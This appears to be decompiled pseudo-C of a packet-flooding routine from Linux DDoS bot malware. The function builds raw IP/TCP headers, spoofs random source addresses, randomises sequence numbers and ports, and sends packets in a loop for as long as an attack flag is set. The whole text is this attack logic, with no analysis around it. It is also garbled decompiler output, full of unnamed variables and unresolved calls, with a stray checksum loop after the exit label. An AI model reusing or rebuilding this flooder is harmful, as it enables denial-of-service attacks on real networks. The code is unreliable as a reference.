int acknnumpacket(_Unknown_base* ThreadData)
{// addr = 0x0804BB4A
    SYNPACKET_NUM SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    int topNum;
    int randNum;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    intOrPtr _v12;
    signed int _v16;
    signed int _v20;
    _unknown_ _v22;
    signed int _v24;
    signed int _v28;
    signed int _v32;
    intOrPtr _v36;
    signed int _v40;
    signed char* _v44;
    unsigned int _v48;
    unsigned int _v52;
    intOrPtr _v56;
    signed int _v60;
    intOrPtr _v64;
    signed int _v68;
    signed int _v70;
    intOrPtr _v76;
    intOrPtr _v80;
    signed int _v84;
    unsigned int _v216;
    intOrPtr _v220;
    char _v232;
    char _v252;
    char _v508;
    unsigned int _v625;
    unsigned short _v626;
    signed int _v627;
    signed int _v628;
    short unsigned int _v636;
    signed char _v648;
    char _v652;
    char _v656;
    signed short _v672;
    signed short _v676;
    signed int _v680;
    signed int _v692;
    signed int _v696;
    signed int _v700;
    signed int _v704;
    signed char _v708;
    signed int _v712;
    signed int _v724;
    signed int _v728;
    signed char _v732;
    signed int _v734;
    _unknown_ r6;
    _unknown_ _t260;
    signed int _t261;
    intOrPtr _t266;
    _unknown_ _t268;
    _unknown_ _t269;
    _unknown_ _t270;
    _unknown_ _t271;
    _unknown_ _t292;
    signed char _t311;
    short _t320;
    intOrPtr _t322;
    intOrPtr _t324;
    short _t333;
    signed int _t341;
    signed int _t342;
    _unknown_ _t344;
    intOrPtr _t352;
    signed int _t353;
    _unknown_ _t355;
    short _t364;
    signed int _t365;
    _unknown_ _t367;
    signed int _t376;
    _unknown_ _t378;
    _unknown_ _t383;
    signed char _t393;
    _unknown_ _t396;
    _unknown_ _t400;
    _unknown_ _t405;
    _unknown_ _t414;
    _unknown_ _t418;
    short unsigned int _t421;
    _unknown_ _t426;
    _unknown_ _t439;
    signed int _t448;
    signed int _t449;
    signed int _t450;
    signed int _t482;
    _unknown_ _t490;
    _unknown_ _t498;
    _unknown_ _t501;
    _unknown_ _t502;

    _push(__esi);
    _push(_t439);
    __esp = __esp - 704;
    L0806F910( &_v232, 160);
    L0806F9E0(__edi, __esi,  &_v232, ThreadData, 160);
    _v70 = 16;
    _v712 = 16;
    _t261 =  &_v652;
     *__esp = _t261;
    L0806F910();
    _v708 = 6;
    L08073680(_t439, __esp, 2, 3);
    _v68 = _t261;
    _v652 = 2;
    _v64 = _v220;
    if(_v64 <= 60 || _v64 > 800) {
        _v64 = 61;
    }
    _v60 = _v64 - 60;
    _t266 =  &_v232 + 20;
    L08075250(_t266);
    _v56 = _t266;
    if(_v56 != 0) {
        _t292 = L0806E4D0( &_v232 + 20, "0.0.0.0");
        if(_t292 == 0) {
        } else {
            _v52 = 0;
            _v52 = _v216;
            if(_v52 <= 0 || _v52 > 86400) {
                _v52 = 20;
            }
            _v648 =  *( *( *(_v56 + 16)));
            _v48 = 20;
            _v44 =  &_v508;
            _v40 =  &_v508 + 20;
            _v36 =  &_v508 + 40;
             *_v44 =  *_v44 & 255 & 240 | 5;
             *_v44 =  *_v44 & 255 & 15 | 64;
            (_v44[1]) = 0;
            (_v44[2]) = 60;
             *__esp = 31337;
            _t311 = L08075240(__esp);
            (_v44[4]) = _t311;
            (_v44[6]) = 0;
            (_v44[8]) = 250;
            (_v44[9]) = 6;
            (_v44[0xa]) = 0;
            (_v44[0x10]) = _v648;
             *__esp = _v84 & 65535;
            _t320 = L08075240(__esp);
             *((short*)(_v40 + 2)) = _t320;
             *__esp = 31337;
            _t322 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 4)) = _t322;
             *__esp = 0;
            _t324 = L08075230(__esp);
             *((intOrPtr*)(_v40 + 8)) = _t324;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 240;
             *(_v40 + 12) =  *(_v40 + 12) & 255 & 15 | 160;
             *(_v40 + 13) = _v70 & 65535;
             *__esp = 57344;
            _t333 = L08075240(__esp);
             *((short*)(_v40 + 14)) = _t333;
             *((short*)(_v40 + 16)) = 0;
             *(_v40 + 18) = 0;
            if((_v48 & 3) != 0) {
                _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
            }
            _v48 = 40;
            _v656 = 1;
            _v32 =  &_v656;
            _v700 = 4;
            _v704 = _v32;
            _v708 = 3;
            _v712 = 0;
            _t341 = _v68;
             *__esp = _t341;
            L08073640(_t439, __esp);
            if(_t341 >= 0) {
            } else {
                _v28 = 0;
                while(1) {
                    _t342 = IsAttack;
                    if(_t342 == 0) {
                        break;
                    }
                    _v24 = 0;
                    while(_v24 <= 999) {
                        L0805EBE0();
                        _t448 = _t342;
                        _v692 = -2147450879;
                        _v680 = ((_v692 * _t448 >> 32) + _t448 >> 15) - (_t448 >> 31);
                        _v680 = _t448 - (_v680 << 16) - _v680;
                         *__esp = _v680;
                        _t352 = L08075230(__esp);
                        _t353 = _v40;
                         *((intOrPtr*)(_t353 + 4)) = _t352;
                        L0805EBE0();
                        _t449 = _t353;
                        _v692 = -2147450879;
                        _v676 = ((_v692 * _t449 >> 32) + _t449 >> 15) - (_t449 >> 31);
                        _v676 = _t449 - (_v676 << 16) - _v676;
                         *__esp = _v676 & 65535 & 65535;
                        _t364 = L08075240(__esp);
                        _t365 = _v40;
                         *((short*)(_t365 + 14)) = _t364;
                        L0805EBE0();
                        _t450 = _t365;
                        _v692 = -2147450879;
                        _t482 = _v692 * _t450 >> 32;
                        _t445 = (_t482 + _t450 >> 15) - (_t450 >> 31);
                        _v672 = (_t482 + _t450 >> 15) - (_t450 >> 31);
                        _v672 = _t450 - (_v672 << 16) - _v672;
                         *_v40 = _v672 & 65535;
                        _t376 = _v76 - _v80;
                        _v20 = _t376;
                        if(_v20 <= 0) {
                            goto L23;
                        } else {
                            L0805EBE0();
                            _v16 = _t376 % _v20 + _v80;
                            L0806F850(_t445, __edi, __esi,  &_v252, 0, 20);
                            _v696 = _v16 & 255;
                            _v700 = _v16 >> 8 & 255;
                            _v704 = _v16 >> 16 & 255;
                            L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
                            _t393 = L08073B40( &_v252);
                            (_v44[0xc]) = _t393;
                            L0806F850(_v16 >> 16 & 255, __edi, __esi,  &_v636, 0, 128);
                            L0806F9E0(__edi, __esi,  &_v636,  &(_v44[0xc]), 4);
                            L0806F9E0(__edi, __esi,  &((char*)( &_v636)[2]),  &(_v44[0x10]), 4);
                            _v628 = 0;
                            _v627 = (_v44[9]) & 255;
                            _v626 = _v48 >> 8;
                            _v625 = _v48;
                            L0806F9E0(__edi, __esi,  &((char*)( &_v636)[6]), _v40, 20);
                            L0806F9E0(__edi, __esi,  &((char*)( &_v636)[0x10]), _v36, 8);
                            _t421 = csum( &_v636, _v48 + 12);
                             *(_v40 + 16) = _t421;
                            __esi =  &_v652;
                            L0805EBE0();
                            _v696 = 16;
                            _v700 = __esi;
                            _v704 = 0;
                            _v708 = ((_v44[2]) & 65535 & 65535) + ((_v44[2]) & 65535) % _v60;
                            _t342 = L08052C20(__esi, _v68,  &_v508);
                            _v24 = _v24 + 1;
                            continue;
                        }
                        goto L23;
                    }
                }
            }
        }
    }
L23:
    L08052A50(_v68);
    _t269 = L08051050();
    L08051000(_t269);
     *__esp = 0;
    L08050FE0();
    goto L24;
L24:
    _push(_t501);
    __esp = __esp - 16;
    _v732 = _v708;
    _v728 = _v712;
    _v724 = 0;
    _v734 = 0;
    while(_v20 > 1) {
        _v12 = _v12 + ( *_v16 & 65535 & 65535);
        _v16 = _v16 + 2;
        _v20 = _v20 - 2;
    }
}